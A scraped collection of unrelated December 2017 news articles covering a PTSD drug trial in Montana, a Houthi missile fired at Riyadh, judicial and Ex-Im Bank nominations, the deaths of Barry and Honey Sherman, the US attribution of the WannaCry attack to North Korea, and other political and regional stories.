Veterans who complete the blind phase of the research will be invited to take the active medicine for three months in a study extension, he said. A news release described Tonmya as "Cyclobenzaprine HCI Sublingual Tablets."

Lederman anticipates results will be out in less than a year, before the end of 2018.

***

Matt Kuntz, with the National Alliance on Mental Illness in Montana, said he's been working to help Montanans who struggle with PTSD since he lost a family member in 2007. This summer, he read a Facebook message from the wife of a veteran that hit him hard.

"When are the treatments going to get better? I don't know how much longer we have to wait," the message said.

Montana counts the highest per capita suicide rate in the country, Kuntz said. He said he didn't have a good answer for her, but he's spent probably the past six years trying to bring top-level mental health treatment to the state.

"Whether it's this medication or something else, the best treatment happens where research happens," he said.

At this point, he said the infrastructure needs to be pieced together, and he's grateful that researchers agreed to take a risk on Montana: "I want to thank them for developing treatment for vets, for realizing this is important, and for trying to solve one of our generation's biggest challenges."

He also thanked UM and St. Pat's, "who stuck their necks out," along with Tester. Kuntz's stepbrother was a Montana National Guardsman with PTSD who died by suicide, according to the NAMI website. At the news conference, Kuntz said Tester was the politician who called him on his cellphone after he started a statewide, then nationwide, effort to help in response to his stepbrother's death.

"That was in summer 2007, and he (Tester) has never stopped trying to work to improve the system for Montana's veterans," Kuntz said.

***

Reed Humphrey, dean of the UM College of Health Professions and Biomedical Sciences, said researchers hope to accelerate the development of effective treatments with the Missoula trial. The effort amplifies the importance of community collaborations, he said, and UM is honored to participate in the trial through its Neural Injury Center.

"We are very excited to participate in this clinical research study to address public health challenges and unmet medical need," Humphrey said in a statement.

In a statement, Joyce Dombrouski, chief executive of Providence Montana, also thanked those involved for participating: "Providence St. Patrick Hospital has a long history of supporting research and innovation. The Phase 3 HONOR Study may lead to advancement of an effective treatment option for veterans suffering from PTSD."

Because preliminary evidence shows clinical benefits of Tonmya and the market needs better drugs for PTSD, the U.S. Food and Drug Administration granted the new drug "breakthrough therapy designation," Lederman said. He said the support from Tester helps expedite the clinical development of the medicine.
Riyadh (AFP) - Saudi Arabia said it shot down a ballistic missile Tuesday over Riyadh fired from Yemen by Iran-backed Huthi rebels, who announced that the target was the official residence of King Salman.

The audacious attack aimed at the heart of Saudi power follows the downing of another missile last month near Riyadh airport that triggered the tightening of a Saudi-led blockade on hunger-stricken Yemen.

For the past three years Saudi Arabia has led a military campaign involving air strikes and ground troops against the Huthis, who seized the Yemeni capital from the internationally recognised government in 2014.

The kingdom accuses the Shiite rebels of being a proxy for its arch foe Iran, which vehemently denies arming the insurgents.

An AFP correspondent in Riyadh heard a loud explosion at 1050 GMT, shortly before King Salman was due to oversee the unveiling of the Saudi annual budget.

"The missile was aimed at populated residential areas in the Riyadh area, and -- thank God -- was intercepted and destroyed south of Riyadh without any casualties," the official Saudi Press Agency quoted a spokesman for the Saudi-led coalition as saying.

"The possession of Iranian-manufactured ballistic weapons by terrorist organisations, including the Iran-backed Huthi militia, is a threat to regional and international security," Turki al-Maliki added.

More than 8,750 people have been killed since Saudi Arabia and its allies joined the government's fight against the Huthis in 2015, triggering what the UN has called the world's worst humanitarian crisis.

"In exchange for a thousand days of bombardment with internationally banned weapons, there has been a thousand days of steadfastness in which our people have demonstrated that their resolve will not be broken," rebel chief Abdulmalik al-Huthi said in a speech Tuesday.

"Today our people reached the heart of Riyadh  the government palace  with a ballistic missile."

Story continues

The missile attacks, which could further escalate the Saudi-led military campaign, underscore how the raging Yemen conflict is increasingly spilling across the border.

- 'Big bang' -

Saudi Arabia angrily accused Iran of supplying the missile involved in last month's attack to the rebels, a charge Tehran strongly denied.

On Thursday, US ambassador to the United Nations Nikki Haley presented what she called "undeniable" evidence that the missile was "made in Iran".

But her comments went beyond the findings of a UN investigation which reached no firm conclusion on whether the missile came from an Iranian supplier, saying only that it had a "common origin" to some Iranian designs.

Residents in the Saudi capital reported hearing a loud explosion and seeing smoke after Tuesday's attack.

"I was in my office when I heard a big bang," said Tomas Kompikan, one of the many foreign workers in Riyadh.

"Suddenly after around 30 to 45 seconds I heard a next sound... and we saw a white smoke."

The Huthi rebels last month warned that they considered "airports, ports, border crossings and areas of any importance" in Saudi Arabia, as well as its ally the United Arab Emirates, as legitimate targets.

Saudi-led air strikes have intensified since the December 4 killing of ex-president Ali Abdullah Saleh at the hands of the Huthis after his alliance with the rebels collapsed.

The UN human rights office said Tuesday it was "deeply concerned" by the surge in civilian casualties due to intensified coalition air strikes.

UN rights chief Zeid Ra'ad Al Hussein told AFP a combination of the violence and the blockade the coalition imposed on rebel-held ports last month had created "a horrifying situation in Yemen... literally an inferno for many Yemenis."

Pro-government forces have also stepped up attacks on the rebels and last week retook the Red Sea town of Khokha.

A medical source in Yemen said Tuesday that 23 Huthi fighters had been killed in clashes with Saudi-backed government forces over the past day in Hodeida province on the Red Sea coast.

A military source said at least 14 pro-government fighters were killed in the same period.
WASHINGTON  The Senate banking committee rejected President Donald Trumps choice to lead the Export-Import Bank on Tuesday, voting 10-13 against advancing his nomination to the full Senate. Two Republicans joined with Democrats in opposition.

Scott Garrett, who was a tea-party-aligned Republican congressman from New Jersey until he lost his re-election bid in 2016, has faced intense opposition from the business community  including corporations like General Electric Co. and Boeing  and many traditional GOP allies, such as the U.S. Chamber of Commerce and the National Association of Manufacturers.

Thats because Garrett once wanted to shutter the institution that he now is trying to run, and he consistently voted against reauthorizing it.

In 2015, he lambasted the Export-Import Bank as an institution that embodies the corruption of the free enterprise system.

Former Rep. Scott Garrett (R-N.J.) failed in his bid to head the Export-Import Bank. (Photo: Tom Williams/CQ Roll Call via Getty Images)

Manufacturers are grateful to have an ally in the White House who seeks to ensure that America and its workers are not left behind as foreign governments do all they can to win in the global economy, NAM President and CEO Jay Timmons wrote in an October letter to Senate banking committee leaders. At the same time, the NAM is firmly opposed to the nomination of former U.S. Rep. Scott Garrett (R-NJ) as president of the Ex-Im Bank given his longstanding opposition to its mission and his past actions to destroy the agency.

In his confirmation hearing before the committee last month, Garrett tried to convince senators that he turned over a new leaf. But many of them still seemed skeptical, since he refused to say his previous denunciations were wrong.

Instead, Garrett said he was no longer in favor of abolishing the bank because Trump is now president, and he simply wants to run it instead.

Senator, if the question is, what has changed since 2015, what we have seen changed is a new administration, Garrett said. What we have seen change is a new agenda by this administration to see to it that the economy actually grows, and that businesses are given a fair chance to grow their businesses both nationally and internationally as well. ... My role has changed. I am not in a legislative function.

Story continues

On Tuesday, Sen. Sherrod Brown (D-Ohio), the ranking member of the committee, said it was clear to me that Mr. Garrett is not being honest with this Committee about why he wants to lead the Bank, and many others feel the same.

Sens. Mike Rounds (S.D.) and Tim Scott (S.C.) were the two Republican votes against Garrett.

I believe hes a principled man who simply believes in the abolishment of the bank, Rounds said. While I wish him no ill, I believe hes not the right person to be the chairman.

We are disappointed that the Senate Banking Committee missed this opportunity to get the Export Import Bank fully functioning again. We will continue to work with the Committee on a path forward, said Marc Short, the White House director of legislative affairs.

Trump has nominated other individuals to run government agencies that they once fought or opposed. Scott Pruitt is now in charge of the Environmental Protection Agency, and Mick Mulvaney is the interim chairman of the Consumer Financial Protection Bureau. But both of those agencies are ones that are more universally unpopular with the GOP and its backers. The difference with the Export-Import Bank is that it has more support within the party  although many conservatives dislike it  and the business community.

Todays Senate Banking Committee vote on Ex-Im board nominees is a milestone for manufacturers across the U.S. whose customers require a fully-functioning Ex-Im Bank, said a GE spokesperson. We urge the full Senate to move quickly on behalf of US workers and companies of all sizes to guarantee the Bank can once again operate at full strength.

Garrett, a founding member of the conservative House Freedom Caucus, lost his 2016 re-election bid in large part due to anti-gay remarks he made.

In 2015, Garrett told fellow Republicans in a closed-door meeting that he wouldnt pay his dues to the National Republican Congressional Committee because the organization supported some gay candidates.

Garrett later clarified that he didnt oppose gay people running for office, but he believed the GOP should not support candidates who back same-sex marriage. His comments cost him support from Wall Street donors, who had been a major source of funding for his previous campaigns.

This post has been updated with reactions and more details on the vote.

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Bernie Bros

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Ottawa (AFP) - Barry Sherman drove an old car and gave away tens of millions of dollars to charities while building Apotex into one of Canada's largest pharmaceutical companies.

He and his wife Honey were widely mourned and praised for their philanthropy following their untimely deaths, but the Apotex chief antagonized many and faced accusations that he gouged consumers and smeared opponents during his life.

Sherman fought as many as 100 battles at a time in court to challenge drug patents and make way for Apotex's generic prescriptions, or to fend off cousins' claims to the company he founded in 1974.

He also courted political controversy, triggering an investigation earlier this year into his fundraising for Prime Minister Justin Trudeau's Liberals while Apotex heavily lobbied the federal government.

"Barry and Honey were kind, good people who will be greatly missed," Toronto Mayor John Tory said in comments that typified politicians' reactions to their death.

"The philanthropic and economic contributions they have made to Toronto put them in a class of their own."

Their four children described their parents as a blissfully happy couple preparing to travel to Florida for a year-end holiday with friends.

But a realtor who was helping them sell their Toronto house found them dead, and post-mortem examinations determined that the 75-year-old Apotex chairman and his 70-year-old wife died of strangulation.

- Rocket science to pharmaceuticals -

Toronto police said Sunday they were investigating the "suspicious" deaths, but stopped short of calling them homicides.

Local media cited police as saying their deaths may have been a murder-suicide, a theory that was reportedly rejected by their children.

Barry Sherman was raised by his working mother after his father died when he was just a boy, and went on to earn degrees in physics and rocket science at the University of Toronto and the Massachusetts Institute of Technology in Boston.

Story continues

Sherman learned the drug business -- in which he would later make his billions -- while working summers at his uncle Louis Winter's Empire Laboratories, which made cheaper versions of Aspirin and other drugs.

After Winter died, Sherman and a partner bought Empire and sold it to a US competitor, then used part of the proceeds to start Apotex.

Over the following decades, Sherman would become known as a ruthless businessman who shunned the limelight while revolutionizing the drug industry in Canada.

Apotex grew to employ more than 11,000 people worldwide in an expansion that pitted it against the world's biggest brand-name drug makers, and today sells 300 generic drugs in 120 countries.

Sherman reportedly had an estimated worth of Can$4.77 billion ($3.7 billion) at the time of his death and was the 15th-richest person in Canada.

- Antagonized foes and critics -

Apotex said the couple made significant donations to universities, hospitals and charities over their lifetime. Honey served on the boards of several foundations, including the Simon Wiesenthal Center.

But as might be expected of a business tycoon, Sherman also had his share of enemies.

"He was a deplorable human being," said University of Ottawa law professor Amir Attaran, who published a comparison of Apotex's domestic and overseas drug pricing.

"People tend to believe he did great things for generic drugs in Canada, but... Canadians pay more for generic drugs than almost every other country," he said.

"He sought to manipulate our system to enrich himself and impoverish Canadian patients who used his drugs."

Relatives also numbered among those with whom he clashed.

In 2006, his uncle's four sons sued Sherman for Can$1 billion, alleging he had effectively cut them out of the family business.

The legal battle was reportedly ugly. The suit was dismissed in September.

An obituary in The Globe and Mail recalled Sherman's reflections on life, writing that there is no God, no free will, no altruism and no morality.

"I find no inconsistency in holding intellectually that life has no meaning, while at the same time being highly motivated to survive and to achieve," he said.
ADDIS ABABA (Reuters) - South Sudanese rebels accused the government army of attacking one of their bases overnight as a new round of peace talks between the warring sides opened in the Ethiopian capital on Monday. Rebel spokesman Lam Paul Gabriel said government troops attacked a rebel base in the town of Lasu in the south of the country late on Sunday. "They are in the IO base," he said, referring to the name of the rebel group. Army spokesmen were not immediately available to comment when called by Reuters on Monday afternoon. The talks in Addis Ababa have been convened by the East African bloc IGAD and are aimed at bringing the warring sides back to the negotiating table after a 2015 peace deal collapsed last year during heavy fighting in the capital, Juba. The war began in 2013 between soldiers of President Salva Kiir, an ethnic Dinka, and his former vice president, Riek Machar, a Nuer. Tens of thousands of people have died and a third of South Sudan's 12 million population have fled their homes. Highlighting the widespread nature of the violence, army spokesman Lul Ruai Koang earlier said four aid workers from the French organization Solidarites International had been kidnapped a day earlier by the rebels near the western city of Raja. The state government, based in Raja, said in a statement eight civilians had been killed and the four aid workers kidnapped in what it described as an ambush by the rebels. The French organization said it had lost contact with three members of its team on Saturday. It gave no indication of their fate and it was not immediately clear why it gave a different number of those involved. An IO rebel statement said: "The SPLA IO forces also rescued four humanitarian staff ... they are currently safe and sound with our forces around Raja and will be handed over ... as soon as possible." It was not immediately clear what the rebels said they had rescued the aid workers from. The war has mutated from a two-way fight into a fragmented conflict, making peace more elusive, the top United Nations peacekeeper in the country told Reuters earlier this year. Diplomats and analysts question whether the will to end the fighting exists, as Kiir's government holds the military upper hand and rebel leader Machar is under house arrest in South Africa. [L3N1NG5D4] Machar sent representatives to the Ethiopian capital for the talks. Ethiopian Prime Minister Hailemariam Desalegn voiced strong criticism of the warring sides at the forum in Addis Ababa. "... More than half of the people of South Sudan are either refugees in neighboring countries, internally displaced within South Sudan or suffering from food insecurity in their own village," he said. "It is equally clear that all this suffering is taking place because you the leaders of South Sudan have repeatedly failed to talk to each other, to negotiate, to be tolerant, to make compromises," he added. "Today, I appeal to you to stop this intransigence." (Reporting by Aaron Maasho; Additional reporting by Jason Patinkin in Kampala and Denis Dumo in Juba; Writing by Maggie Fick; Editing by Alison Williams)
Tavis Smiley said in a new interview that PBS made a huge mistake by suspending his show amid allegations of sexual misconduct.

PBS announced last week it was suspending distribution of Smileys self-titled nightly show after an investigation found that Smiley had multiple sexual relationships with subordinates and created a verbally abusive and threatening environment. PBS doesnt employ Smiley, who owns the company that funds and produces the show. (Smiley has contributed opinion pieces for TIME.)

In an interview with Good Morning America on Monday, Smiley said that all of the relationships he had with employees were consensual  and that PBS didnt give him a chance to fully tell his side of the story.

Tavis Smiley pushes back against allegations of sexual misconduct: I have never groped, I have never coerced, I have never exposed myself inappropriatelyI celebrate and applaud these women whove had the courage to come out and tell their truth. pic.twitter.com/VNuxgQczrS  Good Morning America (@GMA) December 18, 2017

I have never groped, I have never coerced, I have never exposed myself inappropriately, Smiley said. I celebrate and applaud these women whove had the courage to come out and to tell their truth and lead us in a conversation about how to create healthy workspaces At the same time, I want to make sure that we dont lose all sense of nuance and proportionality in this conversation. Because if we do, then people end up being guilty just by accusation.

Smiley, who also denied the allegations that he created a hostile work environment, said he had proof that the relationships were consensual, but that PBS didnt give him an opportunity to share that information and receive due process. He added that he wasnt sure he would return to the network if it decided to reinstate his show.

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In a statement to TIME, a PBS spokesperson said: Tavis Smiley needs to get his story straight.

In contrast, PBS has been consistent: PBS stands by the integrity of its investigation, which has been conducted by an outside firm with expertise in such matters, the statement said. Mr. Smileys own words today coupled with the information discovered during the investigation confirms PBS decision to indefinitely suspend the distribution of Tavis Smiley.

Smiley said he was going to continue to push back against the claims to protect his reputation, but admitted he had regrets about how he handled himself at times during his career.

I recall once sitting in a conversation with a person who was interested in being a producer on our show At the end, I said to her: My lord, youre brilliant, youre smart, youre gorgeous. Id rather date you, I think, than have you work for me,' he said. I realized immediately what a mistake it was to make that comment. I went back immediately and apologized to her, and the situation was resolved.

Ive made mistakes because Im human, Im not perfect, Smiley added. But it doesnt rise to the level of wrongful termination.
BUCHAREST (Reuters) - Thousands of Romanians protested in freezing weather across the country on Sunday against attempts by the ruling Social Democrats to overhaul the judiciary, which critics said would threaten the rule of law. In Bucharest, an estimated 4,000 protesters marched from government headquarters to parliament, where lawmakers will begin debating changes on Monday to the criminal code. Earlier this month, the Social Democrats used their solid majority to approve a judicial overhaul in the lower house that threatens to put the justice system under political control. The senate is expected to approve the bills next week. The European Commission, the U.S. State Department, the countrys centrist president and thousands of magistrates have criticized the changes to judicial legislation, saying they could derail the rule of law. The government denies this is the case. Outside parliament, the marchers chanted "Thieves nest" and "We want justice, not corruption" under sleet and rain. Thousands more protested in the cities of Iasi, Cluj, Timisoara and others. Attempts by the ruling Social Democrats to change anti-corruption legislation have taken place on and off throughout 2017 in one of the European Union's most corrupt states. Romania's anti-corruption prosecution unit has sent 72 deputies and senators to trial since 2006 alongside cabinet ministers, a sitting Prime Minister and hundreds of mayors and other public officials. The speakers of parliaments lower house and senate are both currently on trial in separate cases. (Reporting by Luiza Ilie; editing by Ralph Boulton)
The Trump administration just blamed North Korea for a massive cyberattack

While it has revolutionized the world around us, the internet has also added new risks to our security. One of those risks is international hackers. On December 18th, the Trump administration alleged that North Korea carried out the massive WannaCry cyberattack, which targeted banks, hospitals, and businesses earlier this year.

One of Trumps Homeland Security advisers, Thomas Bossert, made the accusation in The Wall Street Journal. Bossert said the claim was based on evidence, although he did not cite the evidence in the article. He later reiterated the accusation in a December 19th press conference

After careful investigation, the United States is publicly attributing the massive WannaCry attack to North Korea, Bossert said. We do not make this allegation lightly. We do so with evidence, and we do so with partners.

Bossert also wrote that Russian hackers and one Chinese hacker had also been indicted in the case.

The U.K. has also condemned North Korea for the attack. In October, the U.K.s Minister of State for Security, Ben Wallace, said the government was as sure as possible that the country was behind WannaCry. And shortly after the attack in May, The New York Times wrote that North Korea was the most likely culprit.

WannaCry targeted more than 300,000 computers around the world. Victims of the May attack were locked out of their computers and asked to pay a ransom to free their computer of the malware. The ransom fee, if paid, didnt actually restore data.

WATCH LIVE: White House homeland security adviser Tom Bossert gives an update on a massive cyber attack that happened last year called "Wannacry" https://t.co/S436WOwL9w pic.twitter.com/MA6nk5l1KB  CBS News (@CBSNews) December 19, 2017

Computers at the U.K.s National Health Service were hit hard by the attack, causing medical treatment to grind to a halt as the computer systems were frozen. The malware used in the attack was a cyberweapon that had been stolen from the NSA.

British hacker Marcus Hutchins managed to stop WannaCry in its tracks by finding a kill switch in the viruss code and triggering it.

Cyberattacks and the rise of cyber crime are terrifying  especially when you consider that another country could be behind them. Luckily, with things like malware-detection software and two-step verification processes, there are ways to keep your data secure. We hope that the government will continue to investigate WannaCry, and that those responsible are indicted.
American Airlines will begin daily direct flights to Dallas and seasonal direct daily flights to Chicago from Missoula in June, the Missoula International Airport announced Monday.

Both flights will begin June 7, with customers already able to book tickets, airport director Cris Jensen said. The Chicago flight will run through Aug. 20.

"I think in terms of air services it's a big step for the community," Jensen said.

James Grunke, chief executive officer of the Missoula Economic Partnership, said the new American service was brought together in part by Missoula being able to provide a revenue guarantee for the airline if it added direct routes to Missoula.

A spokesperson for Sen. Jon Tester, who said the senator had pushed for a $600,000 federal grant to help fund the revenue guarantee, said the new direct flights will be a benefit to the economy of the Missoula area and by extension, the state.

County Commissioner Jean Curtiss said while she hopes the revenue guarantee money wont be needed for the Dallas and Chicago flight additions  adding that flights out of Missoula are almost always close to capacity  having those funds available helped secure the American Airlines service and will be useful in enticing more airlines to provide direct flights to Missoula.

Dallas will be the 13th destination to have nonstop flight service to and from Missoula.

In a statement, Sen. Steve Daines said the new flights will mean more options for Montanans looking to travel, and more tourism business.

Tourism is one of the Treasure States greatest economic drivers and now travelers from Dallas and Chicago will be just one stop away from everything Montana has to offer, he said.

Jensen hinted at nonstop air service to Texas during a City Club Missoula meeting last week, in which he also updated community leaders on plans for a new terminal for the airport.

Barb Neilan, executive director of Destination Missoula, said during Mondays news conference at the airport that her agency has seen a distinct spike in interest in Montana from tourists in Dallas and Houston.

In tourism, its important to have as many connections as we can, she said.
WASHINGTON  President Donald Trumps judicial nominee Matthew Petersen has withdrawn his name from consideration after a video went viral of him failing to answer basic questions about law in his confirmation hearing.

It happened, an aide to a senior member of the Senate Judiciary Committee told HuffPost on Monday.

The White House later confirmed the news. Mr. Petersen has withdrawn his nomination and the President has accepted, a White House official told HuffPost.

In his letter to the president, Petersen said hes withdrawing because he doesnt want to be a distraction to the administration.

I had hoped that my nearly two decades of public service might carry more weight than my two worst minutes on television, he said. However, I am no stranger to political realities, and I do not wish to be a continued distraction from the important work of your Administration and the Senate.

President Donald Trump has gotten a lot of his lifetime judges confirmed. But some of his nominees have been painfully unqualified. (Photo: Yuri Gripas/Reuters)

Requests for comment from Sen. Chuck Grassley (R-Iowa), chairman of the Judiciary Committee, also were not returned. A request for comment from Petersen was not immediately returned.

Trump nominated Petersen, who is currently a member of the Federal Election Commission, to be a lifetime judge on the U.S. District Court for the District of Columbia. But Petersens lack of qualifications were painfully on display last week as Sen. John Kennedy (R-La.) asked him about his courtroom experience.

KENNEDY: Have you ever tried a jury trial? PETERSEN: I have not. KENNEDY: Civil? PETERSEN: No. KENNEDY: Criminal? PETERSEN: No. KENNEDY: Bench? PETERSEN: No. KENNEDY: State or federal court? PETERSEN: I have not.

Peterson also could not explain basic legal terms, when pressed by Kennedy.

KENNEDY: As a trial judge, youre obviously going to have witnesses. Can you tell me what the Daubert standard is? PETERSEN: Sen. Kennedy, I dont have that readily at my disposal but I would be happy to take a closer look at that. That is not something Ive had to contend with. KENNEDY: Do you know what a motion in limine is? PETERSEN: Yes... I havent, Im, again, my background is not in litigation as when I was replying to Chairman (Chuck) Grassley (R-Iowa), I havent had to um, again, do a deep dive.

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Petersen is Trumps third district court nominee to get derailed over a lack of qualifications. Brett Talley, a 36-year-old lawyer who had never tried a case and earned a rare and unanimous not qualified rating by the American Bar Association, withdrew his nomination last week. Jeff Mateer, who had described transgender children as evidence of Satans plan, is not moving either.

These are embarrassing setbacks to Trumps otherwise successful push to fill up federal courts with his lifetime judges. The Senate confirmed 12 of his circuit court judges this year, more than any president has gotten in their first year since those courts were created in 1891. Thats in addition to putting Neil Gorsuch on the Supreme Court and getting six district court nominees confirmed.

It doesnt sound like the president cares if a few of his nominees go down. Kennedy told local news affiliate WWL-TV on Monday that Trump called him Saturday to talk about Petersen and said he agreed with Kennedys criticisms that his nominee wasnt qualified.

He doesnt interview these guys, he has his staff do it, said the Louisiana Republican. He said, Kennedy, I think youre right.

Kennedy said Trump has also told him that hes counting on senators to reject his bad judicial picks.

He has told me, Kennedy, when some of my guys send someone who is not qualified, you do your job, the GOP senator said.

This post has been updated with White House confirmation of the withdrawal and with details from Petersens letter.

Also on HuffPost

U.S. Supreme Court Justice Anthony Kennedy (bottom 2nd L) reacts while chatting with Chief Justice John Roberts (C) during a new U.S. Supreme Court family photo including Justice Neil Gorsuch (top R), their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017. Also pictured are Justice Ruth Bader Ginsburg (front row, L-R), Justice Clarence Thomas, Justice Stephen Breyer, Justice Elena Kagan (back row, L-R), Justice Samuel Alito and Justice Sonia Sotomayor.

U.S. Chief Justice John Roberts (seated C) leads Justice Ruth Bader Ginsburg (front row, L-R), Justice Anthony Kennedy, Justice Clarence Thomas, Justice Stephen Breyer, Justice Elena Kagan (back row, L-R), Justice Samuel Alito, Justice Sonia Sotomayor, and Justice Neil Gorsuch in taking a new family photo including Gorsuch, their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017.

U.S. Supreme Court Justice Anthony Kennedy (bottom L) chats with Chief Justice John Roberts (bottom R) during a new U.S. Supreme Court family photo including Justice Neil Gorsuch (not pictured), their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017. Also pictured are Justice Elena Kagan (back row, L-R), Justice Samuel Alito and Justice Sonia Sotomayor. REUTERS/Jonathan Ernst

U.S. Chief Justice John Roberts (seated L-R), Justice Clarence Thomas, Justice Stephen Breyer, Justice Sonia Sotomayor (top L) and Justice Neil Gorsuch (top R) chat during a new U.S. Supreme Court family photo including Gorsuch, their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017.

U.S. Supreme Court Justice Anthony Kennedy (L) chats with Chief Justice John Roberts (R) during a new U.S. Supreme Court family photo including Justice Neil Gorsuch (not pictured), their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017.

U.S. Justice Neil Gorsuch (top R) leans in to speak to Justice Stephen Breyer (bottom R) as the members of the U.S. Supreme Court including Chief Justice John Roberts (seated L), Justice Clarence Thomas (seated C) and Justice Sonia Sotomayor (top L) gather for a new family photo with Gorsuch, their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017.

U.S. Chief Justice John Roberts (seated C) leads Justice Ruth Bader Ginsburg (front row, L-R), Justice Anthony Kennedy, Justice Clarence Thomas, Justice Stephen Breyer, Justice Elena Kagan (back row, L-R), Justice Samuel Alito, Justice Sonia Sotomayor, and Justice Neil Gorsuch in taking a new family photo including Gorsuch, their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017.

U.S. Chief Justice John Roberts (seated C) leads Justice Ruth Bader Ginsburg (front row, L-R), Justice Anthony Kennedy, Justice Clarence Thomas, Justice Stephen Breyer, Justice Elena Kagan (back row, L-R), Justice Samuel Alito, Justice Sonia Sotomayor, and Justice Neil Gorsuch in taking a new family photo including Gorsuch, their most recent addition, at the Supreme Court building in Washington, D.C., U.S., June 1, 2017.

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This article originally appeared on HuffPost.


The White House said Tuesday that President Trump would likely owe more in taxes under the bill that passed the House but declined to release his 2016 returns on the grounds they are being audited. Both claims are disputed by tax experts.

We expect that it likely will, on the personal side, could cost the president a lot of money, said press secretary Sarah Sanders when pushed on Trumps claim that the bill would cost him a fortune.

Multiple analyses have shown that one of the primary beneficiaries of the tax bill will be commercial real estate, the business from which Trump and his family members receive the majority of their income. An analysis done for NBC News based on Trumps leaked 2005 returns estimated he could personally save $22 million under the new bill. The Trump family would also save money from the doubling of the estate tax exemption.

An analysis from the Tax Policy Center found that a majority of the benefits in the tax bill would go to the top 5 percent of earners.

(via the Tax Policy Center)

When pressed on why Trump didnt simply release his tax returns as presidents had done for decades, Sanders said it wasnt possible while an audit was ongoing. Former President Richard Nixon released his tax returns while under audit and Trump could release his pre-2009 returns, which his attorney said are not under audit. Trump said during an interview in April that he might release them after his time in the White House ended, reneging on a promise to release them as soon as the audit was complete.

As president, Trump will be audited every year due to an IRS bylaw.

The House passed the Tax Cuts and Job Acts conference report on Tuesday afternoon prior to the briefing. The Senate is expected to pass the bill along party lines Tuesday evening.

Read more from Yahoo News:
The new U.S. national security strategy released today by the Trump administration appropriately reflects the heightened challenge to the United States posed by Chinas singular rise, Russian interventionism, the pretention of rogue states Iran and North Korea, and global terrorism. It vows to enhance American influence and restore a balance of power that has been dangerously eroded by American competitors. And while the strategy of principled realism pledges not to impose our values on others, its central premise is in fact that the overriding challenges to the security of the American people emanate from actors who are most hostile to democratic freedoms.

China and Russia challenge American power, influence, and interests, argues the new report. They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence. China maintains a repressive vision; its authoritarian capital is corrupting elites in Africa and seeking to pull countries in Europe and Latin America into its orbit. Both China and Russia are revisionist powers seeking to shape a world antithetical to U.S. values and interests.

Meanwhile, hostile dictatorships in Iran and North Korea are investing in advanced missile and nuclear capabilities, and in Irans case, one of the worlds most capable transnational terrorist organizations. To say this puts the core interests of the United States and its allies at risk is an understatement. North Korea is openly threatening to attack the American homeland, as are an array of transnational terrorist groups.

The new national security strategy vows to target these threats at their source. It also places a priority on protecting American sovereignty and rebuilding American power, including by leveling the economic playing field against mercantilistic competitors.

Geopolitics is back, creating new threats to freedom, argued National Security Advisor H.R. McMaster before a forum in Washington organized by Britains Policy Exchange think tank last week. America needs to enhance all elements of national power and influence to compete against hostile competitors who expanded their spheres of influence following the policies of retrenchment pursued by President Obama, says a senior White House official. The new strategy empowers us to compete. The United States has vacated competitive space, our rivals have filled it, and we need to come back.

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In addition to the traditional goals of protecting the homeland and promoting economic prosperity, the Trump administrations strategy appropriately emphasizes promoting peace through strength and enhancing American influence. A senior White House official says America must rely on all tools of statecraft to pursue these goals, including to manage threats that fall below the threshold of eliciting a military response. Hard power matters, but alone is insufficient to the task. To preserve and extend our influence overseas, the United States must champion our values and encourage others to embrace them.

As General McMaster told the Policy Exchange audience, Enhancing American influence includes promoting the rule of law abroad and protecting the dignity of every human life. It also includes using non-military tools to promote moderation in parts of the Muslim world that have been hotbeds of violent extremism. To this end, the national security advisor argues that it is important to create political space for opposition groups to operate freely: Otherwise these dictatorships seed extremism and radicalism, because political opposition has nowhere else to go.

Remaining true to American principles is key to restoring U.S. strategic confidence, argued McMaster before the Policy Exchange forum. It is our values that underlie our partnerships. The national security strategys emphasis on pushing back against hostile powers and helping fragile states combat violent extremism takes shape in the promise that Trumps administration will protect American sovereignty and help allies and partners protect theirs. This will necessarily involve helping friendly nations build strong political institutions resilient to subversion from without or within. U.S. democracy and governance assistance is central to this effort.

Although the Trump administrations national security strategy embraces a realist approach focused on restoring American competitiveness in an era of power politics, it is clear that one of Americas most potent competitive advantages stems from our open society and the fact that people everywhere want to be free to determine their own destiny. This acknowledgement is implicit in the tone and policies set forth in the national security strategy  but it would do the administration well to acknowledge this strength openly and ensure that it is embedded in their geopolitical agenda.

Few people are happy to surrender their freedom to live under an authoritarian great powers sphere of influence; fewer want to live under a repressive medieval caliphate of the kind the Islamic State tried unsuccessfully to construct in parts of Syria and Iraq. Unelected dictators in countries like North Korea have one overriding fear: their own people. Empowering repressed publics to exercise political choice in countries hostile to the United States thanks to their autocratic leadership would fit neatly into the White Houses new approach.

Americas support for universal values can and should be part of any strategy to enhance U.S. influence and build a world that is safe for our people and our interests, in an era when hostile competitors are challenging U.S. leadership. The new national security strategy puts it best: These are fundamentally political contests between those who favor repressive systems and those who favor free societies. Let us remember that Americas great strength lies not just in our nuclear arsenal  it is in the values that make our system far more appealing than those of our competitors.
U.S. President Donald Trumps pick for the top legal advisor at the State Department has acknowledged that Saudi Arabia could be violating U.S. and international law by restricting the flow of humanitarian aid in Yemen, highlighting what appears to be an increasingly tough administration stance toward Riyadh.

In written answers to the Senate Foreign Relations Committee last month before her confirmation Tuesday, Jennifer Newstead moved away from the State Departments previous policy and indicated a stricter reading of statutes that prohibit American assistance to foreign countries blocking or hindering the flow of humanitarian aid, Foreign Policy has learned.

Responding to a series of questions from Sen. Todd Young of Indiana, a Republican member of the committee, Newstead said statements from aid groups raise a substantial question whether the Saudi-led coalition has directly or indirectly hindered the transport of U.S. and other aid to civilians in Yemen. Newstead promised to get firm answers back to Congress on the issue within 30 to 45 days after being sworn in.

Newsteads answers suggest that the administration could be willing to take a harsher line on its allies in the Persian Gulf, including Saudi Arabia, over their conduct in the nearly three-year-old civil war in Yemen. While senior U.S. officials have sought to highlight Irans role in arming Houthi rebels with advanced weapons, the administration also has made high-level appeals to Riyadh to lift its de facto blockade on commercial shipments into Yemen.

Newsteads responses cleared the way for her confirmation on Tuesday, which had been held up by Young and two other senators over concerns about the humanitarian impact of the Saudi intervention. FP has obtained the written exchange between Newstead and Young, and the documents are posted below. The exchange took place between Oct. 18 and Nov. 14.

